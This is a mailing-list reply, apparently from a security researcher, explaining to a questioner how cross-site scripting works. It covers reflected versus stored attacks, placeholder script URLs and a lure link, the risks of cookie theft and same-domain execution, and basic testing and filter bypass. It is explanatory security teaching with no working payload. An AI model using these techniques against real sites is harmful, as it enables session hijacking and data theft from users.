So Ive noticed a couple questions relating to Cross Site Scripting
ask for an explanation... and how to test for the vulnerabilities.
CSS is still a commonly misunderstood attack and the dangers
unexplained.
I wont go into GREAT detail, but I will try and cover some of the
basics as I know them.
Cross-Site Scripting attacks are often bundled with In-line
Scripting attacks... they are hard to distinguish between so, its
generally all grouped together... I just like to call them all CSS
vulnerabilities.
CSS issues occurs only in web applications. (AFAIK).
A CSS vulnerability can be identified when a web application
echoes improperly filtered HTTP client-side data thus
resulting in executable client-side scripting. (JavaScript,
ActiveX, JScript, VBScript, Flash, Java, etc.).
In english... this is means if one were to put in some weird
text string (Containing HTML/JavaScript) into some search
field and the web page response contains the entered string
and thus executes the supplied JavaScript there's a
vulnerability.
Search field are a common occurrence of CSS as most
developers dont know to properly filter the output.
something like:
www.foo.com/search.cgi?string=*SCRIPTCSS ME FUNCTION*/SCRIPT
or even 404 error pages:
The request URL: www.foo.com/*SCRIPTCSS ME FUNCTION*/SCRIPT
could not be found.
There are generally 2 ways CSS are taken advantage of.
1) target user needing to click on a special link to execute CSS.
Example:
A HREF=www.foo.com/*SCRIPTCSS ME FUNCTION*/SCRIPT
CLICK FOR PIZZA
/A
2) target user simply only needs to view a page.
common in WebMail, Message Boards and On-line Auctions.
Someone send you an email...you read a post... or whatever...
No clicky, clicky needed.
Yes, the second is far far the worst.
So... why is CSS such a big deal? What are the bad things that
can be done? Well... of course cookie stealing can be performed
which leads to session stealing and such. But... this is just
one potential. The real danger of CSS attacks as I see
them is that the Code executes in the same domain as the
target site. Such as foo.com or whatever.com
Having all the same abilities and access as the target domain.
For all intents and purposes the attack becomes whoever.com
for that moment in time. Like your favorite web mail
provider. This is very important to understand.
Further, these attacks are very hard to detect once they run.
They can be extremely fast and stealthy and most often
leave no log or any trace.
For instance when you check you HTML mail on...
www.cssme.com and someone has sent you a crafted
HTML email message... the code in that email message
is executed as www.cssme.com so... it can steal and
set cookies sure... also can exploit holes in your browser
which can lead to system compromise send you
to the latest spammer haven... force you to bid on the latest
rubber toysor maybe even just track you for fun sending
all your data to some off-domain host. Neat eh.
How to test its easy really... yet can get tricky... thats why
so many issues are popping up. Pick you favorite CGI
parameter where you see the data getting echoed to the
screen. If you can get HTML and/or JavaScript to execute
on the response, chances are theres an issue.
Many times data output is not properly filtered... so vulns
are easy to find... the real challenge is to find a way to bypass
the implemented filters when output is actively trying
to be stripped. AKA: Filter-Bypass Manipulation
OK, nuff. Done with the ramble.
Hopefully the above made some kind of sense.
Jeremiah Grossman
WhiteHat Security, Inc.
Adik wrote:
Hi!
There are a lot of CSS vuln discovered everyday. As i have understood
Cross site scripting is all about stealing a cookie, right? Cookies do not
contain logins and passwords in them. So what is so important about them? I
know that you can steal someone's session id and enter his mailbox but still
you are limited. I am not quite familiar with it so my question is what is the
worst thing attacker can do (besides stealing cookie), with a website which is
vulnerable to cross site scripting? Please enlighten me! Thanks
